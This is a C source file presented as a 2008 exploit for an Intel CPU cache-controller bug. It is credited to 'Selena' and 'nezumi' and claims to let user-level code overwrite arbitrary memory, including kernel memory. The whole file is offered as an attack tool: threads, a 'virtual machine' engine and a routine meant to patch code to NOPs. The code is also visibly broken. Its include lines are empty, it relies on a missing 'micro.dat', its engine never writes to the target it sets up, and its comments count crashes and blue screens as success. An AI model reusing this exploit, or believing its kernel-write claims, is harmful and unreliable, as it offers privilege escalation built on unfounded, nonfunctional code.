/*---------------------------------------------------------------------------- * * CPU cache controller bug exploit * ================================ * * allows you to change content of arbitrary memory cells,including the kernel * memory from the user level. * * the "victim" (memory cell) is supposed to be in L2 cache (1) * and (addr % 4Kb) == 0 (2) * * * tested on: Intel Core 2 Duo T5750, Intel Atom N270 * * (x) Selena, nezumi // 2007, 2008, 2009 -----------------------------------------------------------------------------*/ #include #include #include #include #define N_CORE 4 // size of micro.dat is discarded, will rewrite this soon #define N3 (257) #define dw unsigned int #define XXL (9*1024*1024) dw buf[XXL+1]; // debug: testing micro-program for the old vm, does not work now // latter comment 1: oh. my! it works! wow! // latter comment 2: it works, but it does not what it's expected to // dw buf[]={1,-3,0, -6,9,1, 13,-67,2, -69,96,3, 1,-1,4, // -3,3,5, 16,-27,6, -66,99,7, 55,-1,8, -1,-3,9, 0,-67,10}; init_c(); engine(dw *p, size_t n); // the infinite loop will be patched on the fly because of the Intel CPU bug // addr of the test() func should be aligned by 4Kb boundary, // 1st dword will be changed to NOP, NOP, NOP, NOP // it's possible to change the kernel memory as well, // two things: // 1) alignment; // 2) the code is currently executed; // // engine() obtains the address of test(), but does not check it, // so if you replace it, you have to check the conditionals above by yourself. // also the content to overwrite. if you want to change data memory // it's supposed to be in the cache as well. __declspec(naked) test() { __asm { l1: xor ecx, ecx loop l1 retn } } DWORD WINAPI ThreadProc(LPVOID lpParameter) { engine(buf, N3*3); return 0; } DWORD WINAPI ThreadProc_dbg(LPVOID lpParameter) { test(); printf("\nyour CPU is buggy\n"); ExitProcess(0); return 0; } // micro code verification procedure chk_m(dw *p, size_t n) { int f_err = 0; size_t a, i; if (*(p + 2) != 0 ) printf("warning: ctx is not zero!\n"); for (a = 3, i = 1; a < n; a += 3) { if ( ( *(p + a + 1) != ((*(p + a + 0) + a) ^ i) ) || ( /* removed */ 0 ) ) printf("error @ %04Xh - incorrect micro-code\n", a*sizeof(dw)), f_err++; i++; } if (f_err) printf("%d errors\n\n", f_err); return f_err; } init_m() { FILE *f; size_t n; printf("loading micro-program..."); f = fopen("micro.dat","rb"); if (!f) return printf("err\n"), 0; n = fread(buf, 1, 80, f); if (n != 80) return printf("err\n"), 0; else printf("%s...", buf); n = fread(buf, 1, XXL, f); printf("%d bytes done\n", n); buf[n/sizeof(dw)] = 0xDEAD; if (chk_m(buf, n/sizeof(dw))) return 0; return n; } init_t() { int a; DWORD id; HANDLE h; size_t size = 111; printf("initializing XX thread..."); h = CreateThread(0, 0, &ThreadProc_dbg, 0, 0, &id); if (h) printf("done\n"), CloseHandle(h); else return printf("err\n"), 0; for (a = 1; a < N_CORE; a++) { printf("initializing #%d thread...", a); h = CreateThread(0, 0, &ThreadProc, (LPVOID) size, 0, &id); if (h) printf("done\n"), CloseHandle(h); else return printf("err\n"), 0; size = (size & (~63)) * 4; Sleep(100); // bad code, it's the source of many problem. // a new thread should be created when and only // when the previous one finished the pass, // otherwise the micro-code becomes unstable. } // !!!dbg!!!, only for debug, should be disabled in the release for (printf(",,,\n");;printf("%04X ", --id & 0xFFFF)) { for (a = 0; a < 4;a++) printf("%04X ",buf[a] & 0xFFFF); printf("... "); for (a = (N3*3/2-3); a < (N3*3/2+3); a++) printf("%04X ", buf[a] & 0xFFFF); printf("... "); for (a = N3*3 /* no shit */; a > (N3*3-4); a--) printf("%04X ", buf[a] & 0xFFFF); printf("\r"); } } // the engine executes the virtual code written by Selena, // nezumi has no idea how the virtual code works, however, // nezumi redesigned the virtual machine from the scratch, // so, the source code of the engine is free to distribute, // however, micro.dat is not free to distribute, there is // a legal issue. also, it works only for certain CPUs. // // because of nature of Selena (she is an underground person // lives in the shadows), it's unlikely that she will sue you // if you decide to distribute the code that belongs to her. // however, better do not do it for any reason. engine(dw *p, size_t n) { int a; dw f1, f2, f3, fn, f0 = -1; size_t dt = 0; for(;;) { f1 = *(p + ((dt++) % n)); f2 = *(p + ((dt++) % n)); f3 = *(p + ((dt++) % n)); // vm + scrambler + dynamic encoder + multi-pass obfuscator fn = -1 ^ (f1 ^ f2) + ((dt + f1) ^ f2) ^ f0; // a few minutes to trigger this condition on 2.4 MHz PC if ( ((f1 ^ f2) == 0) || (f1 ^ f2 ^ f3) == 0) { // a sync problem. it would be better to use locks over here. // crash happens. crash is not shit. crash means code works. // so, should be really care about the addr and the content? // it works for Intel Core 2 Duo T5750. o_o 5 ~ 10 minutes of // it gives BSOD on Intel Atom N270 cpu o_o less than an hour f3 = (dw) &test; f1 = 0x90909090 ^ f0; f2 = (dw) &test ^ fn; printf("\nWOW!\n"); // remove it, plz, it's too slow to work } *(p + (f3 % n)) = fn; f0 = fn; /* f0 = fn ^ dt */ ; } } main() { int n; printf("HITB 2008 missing exploit :=) by Selena\n,,,\n"); printf("micro-code is written by Selena\n"); printf("virtual machine is designed by Selena\n"); printf("virtual machine has been rewritten by nezumi\n,,,\n"); n = init_m(); if (n) n = init_t(); }